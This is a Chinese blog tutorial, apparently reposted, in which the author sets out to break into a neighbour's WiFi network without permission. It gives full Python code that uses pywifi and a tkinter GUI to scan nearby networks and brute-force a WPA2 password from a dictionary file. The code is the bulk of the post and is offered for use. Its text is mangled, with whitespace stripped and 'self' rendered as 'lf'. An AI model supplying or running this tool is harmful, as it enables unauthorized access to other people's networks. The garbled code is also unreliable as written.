昨晚,家里停網了,對于碼農而言,停網了,這能忍?打電話給修網絡的,說太晚了,要第二天才能過來...
突然發現隔壁妹紙的wifi信號滿格哇,這讓我動了邪念,看有沒有辦法蹭下網,首先,用的是萬能鑰匙,沒有成功~~~
那我只能用字典來跑密碼了哦,這種小功能,肯定只有交給python來完成了,搜了一下發現pywifi這個組件剛好滿足需求。
那下面來記錄一下我的操作過程。
# 簡介
私信小編001即可獲取大量Python學習資料
Python豐富的第三方庫中自然也包括wifi的API,可以很方便的實現wifi的連接。如果有一份詳細的密碼本,可以實現wifi密碼的暴力破解,前提是你有足夠的耐心和時間去等待。
# 思路
對給定的wifi名稱,我們循環使用密碼去一一做嘗試,如果失敗就斷開連接,直到連接成功為止。
即導入所需要的第三方庫(請自行下載安裝好),通過 pywifi 調用網卡接口,依次做測試,循環讀取密碼嘗試連接。在這里只需要修改密碼文件路徑和wifi名稱即可。
# 環境準備
python2.7pywifi模塊字典# 導入模塊
frompywifiimport*
# 字典準備
隨機搞的wifi弱口令TOP10。一行只包含一組密碼,腳本依次讀取每行密碼,直到找到正確的密碼為止。
# 完整代碼
#coding:utf-8fromtkinterimport*fromtkinterimportttkimportpywififrompywifiimportconstimporttimeimporttkinter.filedialogimporttkinter.messageboxclassMY_GUI():def__init__(lf,init_window_name):lf.init_window_name=init_window_name#密碼文件路徑lf.get_value=StringVar()#獲取破解wifi賬號lf.get_wifi_value=StringVar()#獲取wifi密碼lf.get_wifimm_value=StringVar()lf.wifi=pywifi.PyWiFi()#抓取網卡接口lf.iface=lf.wifi.interfaces()[0]#抓取第一個無線網卡lf.iface.disconnect()#測試鏈接斷開所有鏈接time.sleep(1)#休眠1秒#測試網卡是否屬于斷開狀態asrtlf.iface.status()in[const.IFACE_DISCONNECTED,const.IFACE_INACTIVE]def__str__(lf):return'(WIFI:%s,%s)'%(lf.wifi,lf.iface.name())#設置窗口deft_init_window(lf):lf.init_window_name.title("WIFI破解工具")lf.init_window_name.geometry('+500+200')labelframe=LabelFrame(width=400,height=200,text="配置")labelframe.grid(column=0,row=0,padx=10,pady=10)lf.arch=Button(labelframe,text="搜索附近WiFi",command=lf.scans_wifi_list).grid(column=0,row=0)lf.pojie=Button(labelframe,text="開始破解",command=lf.readPassWord).grid(column=1,row=0)lf.label=Label(labelframe,text="目錄路徑:").grid(column=0,row=1)lf.path=Entry(labelframe,width=12,textvariable=lf.get_value).grid(column=1,row=1)lf.file=Button(labelframe,text="添加密碼文件目錄",command=lf.add_mm_file).grid(column=2,row=1)lf.wifi_text=Label(labelframe,text="WiFi賬號:").grid(column=0,row=2)lf.wifi_input=Entry(labelframe,width=12,textvariable=lf.get_wifi_value).grid(column=1,row=2)lf.wifi_mm_text=Label(labelframe,text="WiFi密碼:").grid(column=2,row=2)lf.wifi_mm_input=Entry(labelframe,width=10,textvariable=lf.get_wifimm_value).grid(column=3,row=2,sticky=W)lf.wifi_labelframe=LabelFrame(text="wifi列表")lf.wifi_labelframe.grid(column=0,row=3,columnspan=4,sticky=NSEW)#定義樹形結構與滾動條lf.wifi_tree=ttk.Treeview(lf.wifi_labelframe,show="headings",columns=("a","b","c","d"))lf.vbar=ttk.Scrollbar(lf.wifi_labelframe,orient=VERTICAL,command=lf.wifi_tree.yview)lf.wifi_tree.configure(yscrollcommand=lf.vbar.t)#表格的標題lf.wifi_tree.column("a",width=50,anchor="center")lf.wifi_tree.column("b",width=100,anchor="center")lf.wifi_tree.column("c",width=100,anchor="center")lf.wifi_tree.column("d",width=100,anchor="center")lf.wifi_tree.heading("a",text="WiFiID")lf.wifi_tree.heading("b",text="SSID")lf.wifi_tree.heading("c",text="BSSID")lf.wifi_tree.heading("d",text="signal")lf.wifi_tree.grid(row=4,column=0,sticky=NSEW)lf.wifi_tree.bind("<Double-1>",lf.onDBClick)lf.vbar.grid(row=4,column=1,sticky=NS)#搜索wifi#cmd/kC:Python27python.exe"$(FULL_CURRENT_PATH)"&PAUSE&EXITdefscans_wifi_list(lf):#掃描周圍wifi列表#開始掃描print("^_^開始掃描附近wifi...")lf.iface.scan()time.sleep(15)#在若干秒后獲取掃描結果scanres=lf.iface.scan_results()#統計附近被發現的熱點數量nums=len(scanres)print("數量:%s"%(nums))#print("|%s|%s|%s|%s"%("WIFIID","SSID","BSSID","signal"))#實際數據lf.show_scans_wifi_list(scanres)returnscanres#顯示wifi列表defshow_scans_wifi_list(lf,scans_res):forindex,wifi_infoinenumerate(scans_res):#print("%-*s|%s|%*s|%*s
"%(20,index,wifi_info.ssid,wifi_info.bssid,,wifi_info.signal))lf.wifi_tree.inrt("",'end',values=(index+1,wifi_info.ssid,wifi_info.bssid,wifi_info.signal))#print("|%s|%s|%s|%s
"%(index,wifi_info.ssid,wifi_info.bssid,wifi_info.signal))#添加密碼文件目錄defadd_mm_file(lf):lf.filename=tkinter.filedialog.askopenfilename()lf.get_value.t(lf.filename)#Treeview綁定事件defonDBClick(lf,event):lf.ls=event.widget.lection()lf.get_wifi_value.t(lf.wifi_tree.item(lf.ls,"values")[1])#print("youclickedon",lf.wifi_tree.item(lf.ls,"values")[1])#讀取密碼字典,進行匹配defreadPassWord(lf):lf.getFilePath=lf.get_value.get()#print("文件路徑:%s
"%(lf.getFilePath))lf.get_wifissid=lf.get_wifi_value.get()#print("ssid:%s
"%(lf.get_wifissid))lf.pwdfilehander=open(lf.getFilePath,"r",errors="ignore")whileTrue:try:lf.pwdStr=lf.pwdfilehander.readline()#print("密碼:%s"%(lf.pwdStr))ifnotlf.pwdStr:breaklf.bool1=lf.connect(lf.pwdStr,lf.get_wifissid)#print("返回值:%s
"%(lf.bool1))iflf.bool1:# print("密碼正確:"+pwdStr#res="密碼:%s正確
"%lf.pwdStr;lf.res="===正確=== wifi名:%s 匹配密碼:%s "%(lf.get_wifissid,lf.pwdStr)lf.get_wifimm_value.t(lf.pwdStr)tkinter.messagebox.showinfo('提示','破解成功!!!')print(lf.res)breakel:#print("密碼:"+lf.pwdStr+"錯誤")lf.res="---錯誤--- wifi名:%s匹配密碼:%s"%(lf.get_wifissid,lf.pwdStr)print(lf.res)sleep(3)except:continue#對wifi和密碼進行匹配defconnect(lf,pwd_Str,wifi_ssid):#創建wifi鏈接文件lf.profile=pywifi.Profile()lf.profile.ssid=wifi_ssid#wifi名稱lf.profile.auth=const.AUTH_ALG_OPEN#網卡的開放lf.profile.akm.append(const.AKM_TYPE_WPA2PSK)#wifi加密算法lf.profile.cipher=const.CIPHER_TYPE_CCMP#加密單元lf.profile.key=pwd_Str#密碼lf.iface.remove_all_network_profiles()#刪除所有的wifi文件lf.tmp_profile=lf.iface.add_network_profile(lf.profile)#設定新的鏈接文件lf.iface.connect(lf.tmp_profile)#鏈接time.sleep(5)iflf.iface.status()==const.IFACE_CONNECTED:#判斷是否連接上isOK=Trueel:isOK=Fallf.iface.disconnect()#斷開time.sleep(1)#檢查斷開狀態asrtlf.iface.status()in[const.IFACE_DISCONNECTED,const.IFACE_INACTIVE]returnisOKdefgui_start():init_window=Tk()ui=MY_GUI(init_window)print(ui)ui.t_init_window()#ui.scans_wifi_list()init_window.mainloop()gui_start()
# 結果
運行結果如下圖所示,你按照圖形界面的操作,便能開始跑起來了。
你get到了沒?
本文發布于:2023-02-28 20:00:00,感謝您對本站的認可!
本文鏈接:http://www.newhan.cn/zhishi/a/167764906673889.html
版權聲明:本站內容均來自互聯網,僅供演示用,請勿用于商業和其他非法用途。如果侵犯了您的權益請與我們聯系,我們將在24小時內刪除。
本文word下載地址:wifi密碼怎么破解呢(wifi密碼怎么破解呢不用萬能鑰匙).doc
本文 PDF 下載地址:wifi密碼怎么破解呢(wifi密碼怎么破解呢不用萬能鑰匙).pdf
| 留言與評論(共有 0 條評論) |